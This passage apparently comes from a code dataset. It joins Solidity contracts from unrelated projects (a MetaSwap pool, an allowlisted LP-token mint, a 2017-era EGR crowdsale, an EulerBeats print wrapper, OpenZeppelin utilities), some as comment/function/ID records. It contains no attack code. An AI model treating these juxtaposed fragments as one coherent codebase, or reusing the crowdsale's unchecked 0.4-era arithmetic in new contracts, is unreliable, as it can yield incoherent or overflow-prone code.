MetaSwapUtils.getVirtualPrice(swapStorage, metaSwapStorage); } /** * @notice Calculate amount of tokens you receive on swap * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell. If the token charges * a fee on transfers, use the amount that gets transferred after the fee. * @return amount of tokens the user will receive */ function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view virtual override returns (uint256) { return MetaSwapUtils.calculateSwap( swapStorage, metaSwapStorage, tokenIndexFrom, tokenIndexTo, dx ); } /** * @notice Calculate amount of tokens you receive on swap. For this function, * the token indices are flattened out so that underlying tokens are represented. * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell. If the token charges * a fee on transfers, use the amount that gets transferred after the fee. * @return amount of tokens the user will receive */ function calculateSwapUnderlying( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view virtual returns (uint256) { return MetaSwapUtils.calculateSwapUnderlying( swapStorage, metaSwapStorage, tokenIndexFrom, tokenIndexTo, dx ); } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return token amount the user will receive */ function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view virtual override returns (uint256) { return MetaSwapUtils.calculateTokenAmount( swapStorage, metaSwapStorage, amounts, deposit ); } /** * @notice Calculate the amount of underlying token available to withdraw * when withdrawing via only single token * @param tokenAmount the amount of LP token to burn * @param tokenIndex index of which token will be withdrawn * @return availableTokenAmount calculated amount of underlying token * available to withdraw */ function calculateRemoveLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex ) external view virtual override returns (uint256) { return MetaSwapUtils.calculateWithdrawOneToken( swapStorage, metaSwapStorage, tokenAmount, tokenIndex ); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice This overrides Swap's initialize function to prevent initializing * without the address of the base Swap contract. * * @param _pooledTokens an array of ERC20s this pool will accept * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with */ function initialize( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress ) public virtual override initializer { revert("use initializeMetaSwap() instead"); } /** * @notice Initializes this MetaSwap contract with the given parameters. * MetaSwap uses an existing Swap pool to expand the available liquidity. * _pooledTokens array should contain the base Swap pool's LP token as * the last element. For example, if there is a Swap pool consisting of * [DAI, USDC, USDT]. Then a MetaSwap pool can be created with [sUSD, BaseSwapLPToken] * as _pooledTokens. * * This will also deploy the LPToken that represents users' * LP position. The owner of LPToken will be this contract - which means * only this contract is allowed to mint new tokens. * * @param _pooledTokens an array of ERC20s this pool will accept. The last * element must be an existing Swap pool's LP token's address. * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with */ function initializeMetaSwap( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress, ISwap baseSwap ) external virtual initializer { Swap.initialize( _pooledTokens, decimals, lpTokenName, lpTokenSymbol, _a, _fee, _adminFee, lpTokenTargetAddress ); // MetaSwap initializer metaSwapStorage.baseSwap = baseSwap; metaSwapStorage.baseVirtualPrice = baseSwap.getVirtualPrice(); metaSwapStorage.baseCacheLastUpdated = block.timestamp; // Read all tokens that belong to baseSwap { uint8 i; for (; i < 32; i++) { try baseSwap.getToken(i) returns (IERC20 token) { metaSwapStorage.baseTokens.push(token); token.safeApprove(address(baseSwap), MAX_UINT256); } catch { break; } } require(i > 1, "baseSwap must pool at least 2 tokens"); } // Check the last element of _pooledTokens is owned by baseSwap IERC20 baseLPToken = _pooledTokens[_pooledTokens.length - 1]; require( LPToken(address(baseLPToken)).owner() == address(baseSwap), "baseLPToken is not owned by baseSwap" ); // Pre-approve the baseLPToken to be used by baseSwap baseLPToken.safeApprove(address(baseSwap), MAX_UINT256); } /** * @notice Swap two tokens using this pool * @param tokenIndexFrom the token the user wants to swap from * @param tokenIndexTo the token the user wants to swap to * @param dx the amount of tokens the user wants to swap from * @param minDy the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction */ function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external virtual override nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return MetaSwapUtils.swap( swapStorage, metaSwapStorage, tokenIndexFrom, tokenIndexTo, dx, minDy ); } /** * @notice Swap two tokens using this pool and the base pool. * @param tokenIndexFrom the token the user wants to swap from * @param tokenIndexTo the token the user wants to swap to * @param dx the amount of tokens the user wants to swap from * @param minDy the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction */ function swapUnderlying( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return MetaSwapUtils.swapUnderlying( swapStorage, metaSwapStorage, tokenIndexFrom, tokenIndexTo, dx, minDy ); } /** * @notice Add liquidity to the pool with the given amounts of tokens * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amount of LP token user minted and received */ function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external virtual override nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return MetaSwapUtils.addLiquidity( swapStorage, metaSwapStorage, amounts, minToMint ); } /** * @notice Remove liquidity from the pool all in one token. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param tokenAmount the amount of the token you want to receive * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @param deadline latest timestamp to accept this transaction * @return amount of chosen token user received */ function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external virtual override nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return MetaSwapUtils.removeLiquidityOneToken( swapStorage, metaSwapStorage, tokenAmount, tokenIndex, minAmount ); } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @param deadline latest timestamp to accept this transaction * @return amount of LP tokens burned */ function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external virtual override nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return MetaSwapUtils.removeLiquidityImbalance( swapStorage, metaSwapStorage, amounts, maxBurnAmount ); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "../../MathUtils.sol"; contract TestMathUtils { using MathUtils for uint256; function difference(uint256 a, uint256 b) public pure returns (uint256) { return a.difference(b); } function within1(uint256 a, uint256 b) public pure returns (bool) { return a.within1(b); } }
Mints the given amount of LPToken to the recipient. During the guarded release phase, the total supply and the maximum number of the tokens that a single account can mint are limited. only owner can call this mint function recipient address of account to receive the tokens amount amount of tokens to mint merkleProof the bytes32 array data that is used to prove recipient's address exists in the merkle tree stored in the allowlist contract. If the pool is not guarded, this parameter is ignored./ If the pool is in the guarded launch phase, the following checks are done to restrict deposits. 1. Check if the given merkleProof corresponds to the recipient's address in the merkle tree stored in the allowlist contract. If the account has been already verified, merkleProof is ignored. 2. Limit the total number of this LPToken minted to recipient as defined by the allowlist contract. 3. Limit the total supply of this LPToken as defined by the allowlist contract.
function mint( address recipient, uint256 amount, bytes32[] calldata merkleProof ) external onlyOwner { require(amount != 0, "amount == 0"); if (swap.isGuarded()) { IAllowlist allowlist = swap.getAllowlist(); require( allowlist.verifyAddress(recipient, merkleProof), "Invalid merkle proof" ); uint256 totalMinted = mintedAmounts[recipient].add(amount); require( totalMinted <= allowlist.getPoolAccountLimit(address(swap)), "account deposit limit" ); require( totalSupply().add(amount) <= allowlist.getPoolCap(address(swap)), "pool total supply limit" ); mintedAmounts[recipient] = totalMinted; } _mint(recipient, amount); }
970,613
pragma solidity ^0.4.15; contract EngravedToken { uint256 public totalSupply; function issue(address, uint256) returns (bool) {} function balanceOf(address) constant returns (uint256) {} function unlock() returns (bool) {} function startIncentiveDistribution() returns (bool) {} function transferOwnership(address) {} function owner() returns (address) {} } contract EGRCrowdsale { // Crowdsale details address public beneficiary; address public confirmedBy; // Address that confirmed beneficiary // Maximum tokens supply uint256 public maxSupply = 1000000000; // 1 billion // Minum amount of ether to be exchanged for EGR uint256 public minAcceptedAmount = 10 finney; // 0.01 ETH //Amount of free tokens per user in airdrop period uint256 public rateAirDrop = 1000; // Number of airdrop participants uint256 public airdropParticipants; //Maximum number of airdrop participants uint256 public maxAirdropParticipants = 500; // Check if this is the first participation in the airdrop mapping (address => bool) participatedInAirdrop; // ETH to EGR rate uint256 public rateAngelsDay = 100000; uint256 public rateFirstWeek = 80000; uint256 public rateSecondWeek = 70000; uint256 public rateThirdWeek = 60000; uint256 public rateLastWeek = 50000; uint256 public airdropEnd = 3 days; uint256 public airdropCooldownEnd = 7 days; uint256 public rateAngelsDayEnd = 8 days; uint256 public angelsDayCooldownEnd = 14 days; uint256 public rateFirstWeekEnd = 21 days; uint256 public rateSecondWeekEnd = 28 days; uint256 public rateThirdWeekEnd = 35 days; uint256 public rateLastWeekEnd = 42 days; enum Stages { Airdrop, InProgress, Ended, Withdrawn, Proposed, Accepted } Stages public stage = Stages.Airdrop; // Crowdsale state uint256 public start; uint256 public end; uint256 public raised; // EGR EngravedToken EngravedToken public EGREngravedToken; // Invested balances mapping (address => uint256) balances; struct Proposal { address engravedAddress; uint256 deadline; uint256 approvedWeight; uint256 disapprovedWeight; mapping (address => uint256) voted; } // Ownership transfer proposal Proposal public transferProposal; // Time to vote uint256 public transferProposalEnd = 7 days; // Time between proposals uint256 public transferProposalCooldown = 1 days; /** * Throw if at stage other than current stage * * @param _stage expected stage to test for */ modifier atStage(Stages _stage) { require(stage == _stage); _; } /** * Throw if at stage other than current stage * * @param _stage1 expected stage to test for * @param _stage2 expected stage to test for */ modifier atStages(Stages _stage1, Stages _stage2) { require(stage == _stage1 || stage == _stage2); _; } /** * Throw if sender is not beneficiary */ modifier onlyBeneficiary() { require(beneficiary == msg.sender); _; } /** * Throw if sender has a EGR balance of zero */ modifier onlyTokenholders() { require(EGREngravedToken.balanceOf(msg.sender) > 0); _; } /** * Throw if the current transfer proposal's deadline * is in the past */ modifier beforeDeadline() { require(now < transferProposal.deadline); _; } /** * Throw if the current transfer proposal's deadline * is in the future */ modifier afterDeadline() { require(now > transferProposal.deadline); _; } /** * Get balance of `_investor` * * @param _investor The address from which the balance will be retrieved * @return The balance */ function balanceOf(address _investor) constant returns (uint256 balance) { return balances[_investor]; } /** * Most params are hardcoded for clarity * * @param _EngravedTokenAddress The address of the EGR EngravedToken contact * @param _beneficiary Company address * @param _start airdrop start date */ function EGRCrowdsale(address _EngravedTokenAddress, address _beneficiary, uint256 _start) { EGREngravedToken = EngravedToken(_EngravedTokenAddress); beneficiary = _beneficiary; start = _start; end = start + 42 days; } /** * For testing purposes * * @return The beneficiary address */ function confirmBeneficiary() onlyBeneficiary { confirmedBy = msg.sender; } /** * Convert `_wei` to an amount in EGR using * the current rate * * @param _wei amount of wei to convert * @return The amount in EGR */ function toEGR(uint256 _wei) returns (uint256 amount) { uint256 rate = 0; if (stage != Stages.Ended && now >= start && now <= end) { // Check for cool down after airdrop if (now <= start + airdropCooldownEnd) { rate = 0; } // Check for AngelsDay else if (now <= start + rateAngelsDayEnd) { rate = rateAngelsDay; } // Check for cool down after the angels day else if (now <= start + angelsDayCooldownEnd) { rate = 0; } // Check first week else if (now <= start + rateFirstWeekEnd) { rate = rateFirstWeek; } // Check second week else if (now <= start + rateSecondWeekEnd) { rate = rateSecondWeek; } // Check third week else if (now <= start + rateThirdWeekEnd) { rate = rateThirdWeek; } // Check last week else if (now <= start + rateLastWeekEnd) { rate = rateLastWeek; } } require(rate != 0); // Check for cool down periods return _wei * rate * 10**3 / 1 ether; // 10**3 for 3 decimals } /** * Function to participate in the airdrop */ function claim() atStage(Stages.Airdrop) { require(airdropParticipants < maxAirdropParticipants); // Crowdsal not started yet require(now > start); // Airdrop expired require(now < start + airdropEnd); require(participatedInAirdrop[msg.sender] == false); // Only once per address require(EGREngravedToken.issue(msg.sender, rateAirDrop * 10**3)); participatedInAirdrop[msg.sender] = true; airdropParticipants += 1; } /** * Function to end the airdrop and start crowdsale */ function endAirdrop() atStage(Stages.Airdrop) { require(now > start + airdropEnd); stage = Stages.InProgress; } /** * Function to end the crowdsale by setting * the stage to Ended */ function endCrowdsale() atStage(Stages.InProgress) { // Crowdsale not ended yet require(now > end); stage = Stages.Ended; } /** * Transfer raised amount to the company address */ function withdraw() onlyBeneficiary atStage(Stages.Ended) { require(beneficiary.send(raised)); stage = Stages.Withdrawn; } /** * Propose the transfer of the EngravedToken contract ownership * to `_engravedAddress` * * @param _engravedAddress the address of the proposed EngravedToken owner */ function proposeTransfer(address _engravedAddress) onlyBeneficiary atStages(Stages.Withdrawn, Stages.Proposed) { // Check for a pending proposal require(stage != Stages.Proposed || now > transferProposal.deadline + transferProposalCooldown); transferProposal = Proposal({ engravedAddress: _engravedAddress, deadline: now + transferProposalEnd, approvedWeight: 0, disapprovedWeight: 0 }); stage = Stages.Proposed; } /** * Allows EGR holders to vote on the poposed transfer of * ownership. Weight is calculated directly, this is no problem * because EngravedTokens cannot be transferred yet * * @param _approve indicates if the sender supports the proposal */ function vote(bool _approve) onlyTokenholders beforeDeadline atStage(Stages.Proposed) { // One vote per proposal require(transferProposal.voted[msg.sender] < transferProposal.deadline - transferProposalEnd); transferProposal.voted[msg.sender] = now; uint256 weight = EGREngravedToken.balanceOf(msg.sender); if (_approve) { transferProposal.approvedWeight += weight; } else { transferProposal.disapprovedWeight += weight; } } /** * Calculates the votes and if the majority weigt approved * the proposal the transfer of ownership is executed. * The Crowdsale contact transferres the ownership of the * EngravedToken contract to Engraved */ function executeTransfer() afterDeadline atStage(Stages.Proposed) { // Check approved require(transferProposal.approvedWeight > transferProposal.disapprovedWeight); require(EGREngravedToken.unlock()); require(EGREngravedToken.startIncentiveDistribution()); EGREngravedToken.transferOwnership(transferProposal.engravedAddress); require(EGREngravedToken.owner() == transferProposal.engravedAddress); require(transferProposal.engravedAddress.send(this.balance)); stage = Stages.Accepted; } /** * Receives ETH and issue EGR EngravedTokens to the sender */ function () payable atStage(Stages.InProgress) { // Crowdsale not started yet require(now > start); // Crowdsale expired require(now < end); // Enforce min amount require(msg.value >= minAcceptedAmount); uint256 received = msg.value; uint256 valueInEGR = toEGR(msg.value); require((EGREngravedToken.totalSupply() + valueInEGR) <= (maxSupply * 10**3)); require(EGREngravedToken.issue(msg.sender, valueInEGR)); balances[msg.sender] += received; raised += received; } }
Function to end the crowdsale by setting the stage to Ended/ Crowdsale not ended yet
function endCrowdsale() atStage(Stages.InProgress) { require(now > end); stage = Stages.Ended; }
12,717,003
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155Holder.sol"; import '@openzeppelin/contracts/utils/ReentrancyGuard.sol'; import "./IEulerBeats.sol"; import "hardhat/console.sol"; // The printing press for the EulerBeats token contract. This contract is responsible // for minting and burning EulerBeat prints. // To be functional, this must be set as the owner of the original EulerBeats contract, // and the EulerBeats contract should be disabled. After that, this is the only // way to print those fresh beats. contract PrintingPress is Ownable, ERC1155Holder, ReentrancyGuard { using SafeMath for uint256; /***********************************| | Variables and Events | |__________________________________*/ bool public burnEnabled = false; bool public printEnabled = false; // Supply restriction on seeds/original NFTs uint256 constant MAX_SEEDS_SUPPLY = 27; // The 40 bit is flag to distinguish prints - 1 for print uint256 constant PRINTS_FLAG_BIT = 1 << 39; // PrintingPress EulerBeats wrapper specific storage address public EulerBeats; mapping (uint => uint) public seedToPrintId; /** * @dev Function to return the seedIds in an iterable array of uints */ function getSeedIds() public pure returns (uint256[MAX_SEEDS_SUPPLY] memory seedIds){ seedIds = [ uint256(21575894274), uint256(18052613891), uint256(12918588162), uint256(21760049923), uint256(22180136451), uint256(8926004995), uint256(22364095747), uint256(17784178691), uint256(554240256), uint256(17465084160), uint256(13825083651), uint256(12935627264), uint256(8925938433), uint256(4933026051), uint256(8673888000), uint256(13439075074), uint256(13371638787), uint256(17750625027), uint256(21592343040), uint256(4916052483), uint256(4395697411), uint256(13556253699), uint256(470419715), uint256(17800760067), uint256(9193916675), uint256(9395767298), uint256(22314157057) ]; } constructor(address _parent) { EulerBeats = _parent; uint256[MAX_SEEDS_SUPPLY] memory seedIds = getSeedIds(); for (uint256 i = 0; i < MAX_SEEDS_SUPPLY; i++) { // Set the valid original seeds and hard-code their corresponding print tokenId seedToPrintId[seedIds[i]] = getPrintTokenIdFromSeed(seedIds[i]); } } /***********************************| | User Interactions | |__________________________________*/ /** * @dev Function to correct a seedToOwner value if incorrect, before royalty paid * @param seed The NFT id to mint print of * @param _owner The current on-chain owner of the seed */ function ensureEulerBeatsSeedOwner(uint256 seed, address _owner) public { require(seedToPrintId[seed] > 0, "Seed does not exist"); require(IEulerBeats(EulerBeats).balanceOf(_owner, seed) == 1, "Incorrect seed owner"); address registeredOwner = IEulerBeats(EulerBeats).seedToOwner(seed); if (registeredOwner != _owner) { IEulerBeats(EulerBeats).safeTransferFrom(address(this), _owner, seed, 0, hex""); require(IEulerBeats(EulerBeats).seedToOwner(seed) == _owner, "Invalid seed owner"); } } /** * @dev Function to mint prints from an existing seed. Msg.value must be sufficient. * @param seed The NFT id to mint print of * @param _owner The current on-chain owner of the seed */ function mintPrint(uint256 seed, address payable _owner) public payable nonReentrant returns (uint256) { require(printEnabled, "Printing is disabled"); // Record initial balance minus msg.value (difference to be refunded to user post-print) uint preCallBalance = address(this).balance.sub(msg.value); // Test that seed is valid require(seedToPrintId[seed] > 0, "Seed does not exist"); // Verify owner of seed & ensure royalty ownership ensureEulerBeatsSeedOwner(seed, _owner); // Get print tokenId from seed uint256 tokenId = seedToPrintId[seed]; // Enable EB.mintPrint IEulerBeats(EulerBeats).setEnabled(true); // EB.mintPrint(), let EB check price and refund to address(this) IEulerBeats(EulerBeats).mintPrint{value: msg.value}(seed); // Disable EB.mintPrint IEulerBeats(EulerBeats).setEnabled(false); // Transfer print to msg.sender IEulerBeats(EulerBeats).safeTransferFrom(address(this), msg.sender, tokenId, 1, hex""); // Send to user difference between current and preCallBalance if nonzero amt uint refundBalance = address(this).balance.sub(preCallBalance); if (refundBalance > 0) { (bool success, ) = msg.sender.call{value: refundBalance}(""); require(success, "Refund payment failed"); } return tokenId; } /** * @dev Function to burn a print * @param seed The seed for the print to burn. * @param minimumSupply The minimum token supply for burn to succeed, this is a way to set slippage. * Set to 1 to allow burn to go through no matter what the price is. */ function burnPrint(uint256 seed, uint256 minimumSupply) public nonReentrant { require(burnEnabled, "Burning is disabled"); uint startBalance = address(this).balance; // Check that seed is one of hard-coded 27 require(seedToPrintId[seed] > 0, "Seed does not exist"); // Get token id for prints uint256 tokenId = seedToPrintId[seed]; // Transfer 1 EB print @ tokenID from msg.sender to this contract (requires approval) IEulerBeats(EulerBeats).safeTransferFrom(msg.sender, address(this), tokenId, 1, hex""); // Enable EulerBeats IEulerBeats(EulerBeats).setEnabled(true); // Burn print on v1, should receive the funds here IEulerBeats(EulerBeats).burnPrint(seed, minimumSupply); // Disable EulerBeats IEulerBeats(EulerBeats).setEnabled(false); (bool success, ) = msg.sender.call{value: address(this).balance.sub(startBalance)}(""); require(success, "Refund payment failed"); } /***********************************| | Admin | |__________________________________*/ /** * Should never be a balance here, only via selfdestruct * @dev Withdraw earned funds from original Nft sales and print fees. Cannot withdraw the reserve funds. */ function withdraw() public onlyOwner { msg.sender.transfer(address(this).balance); } /** * @dev Function to enable/disable printing * @param _enabled The flag to turn printing on or off */ function setPrintEnabled(bool _enabled) public onlyOwner { printEnabled = _enabled; } /** * @dev Function to enable/disable burning prints * @param _enabled The flag to turn burning on or off */ function setBurnEnabled(bool _enabled) public onlyOwner { burnEnabled = _enabled; } /** * @dev The token id for the prints contains the seed/original NFT id * @param seed The seed/original NFT token id */ function getPrintTokenIdFromSeed(uint256 seed) internal pure returns (uint256) { return seed | PRINTS_FLAG_BIT; } /***********************************| | Admin - Passthrough | |__________________________________*/ // methods that can access onlyOwner methods of EB contract, must be onlyOwner /** * @dev Function to transfer ownership of the EB contract * @param newowner Address to set as the new owner of EB */ function transferOwnershipEB(address newowner) public onlyOwner { IEulerBeats(EulerBeats).transferOwnership(newowner); } /** * @dev Function to enable/disable mintPrint and burnPrint on EB contract * @param enabled Bool value for setting whether EB is enabled */ function setEnabledEB(bool enabled) public onlyOwner { IEulerBeats(EulerBeats).setEnabled(enabled); } /** * @dev Function to withdraw Treum fee balance from EB contract */ function withdrawEB() public onlyOwner { IEulerBeats(EulerBeats).withdraw(); msg.sender.transfer(address(this).balance); } /** * @dev Set the base metadata uri on the EB contract * @param newuri The new base uri */ function setURIEB(string memory newuri) public onlyOwner { IEulerBeats(EulerBeats).setURI(newuri); } /** * @dev Reset script count in EB */ function resetScriptCountEB() public onlyOwner { IEulerBeats(EulerBeats).resetScriptCount(); } /** * @dev Add script string to EB * @param _script String chunk of EB music gen code */ function addScriptEB(string memory _script) public onlyOwner { IEulerBeats(EulerBeats).addScript(_script); } /** * @dev Update script at index * @param _script String chunk of EB music gen code * @param index Index of the script which will be updated */ function updateScriptEB(string memory _script, uint256 index) public onlyOwner { IEulerBeats(EulerBeats).updateScript(_script, index); } /** * @dev Locks ability to check scripts in EB, this is irreversible * @param locked Bool value whether to lock the script updates */ function setLockedEB(bool locked) public onlyOwner { IEulerBeats(EulerBeats).setLocked(locked); } // Need payable fallback to receive ETH from burns, withdraw, etc receive() external payable { // WARNING: this does not prevent selfdestruct ETH transfers require(msg.sender == EulerBeats, "Only EulerBeats allowed to send ETH here"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ERC1155Receiver.sol"; /** * @dev _Available since v3.1._ */ contract ERC1155Holder is ERC1155Receiver { function onERC1155Received(address, address, uint256, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC1155Received.selector; } function onERC1155BatchReceived(address, address, uint256[] memory, uint256[] memory, bytes memory) public virtual override returns (bytes4) { return this.onERC1155BatchReceived.selector; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to 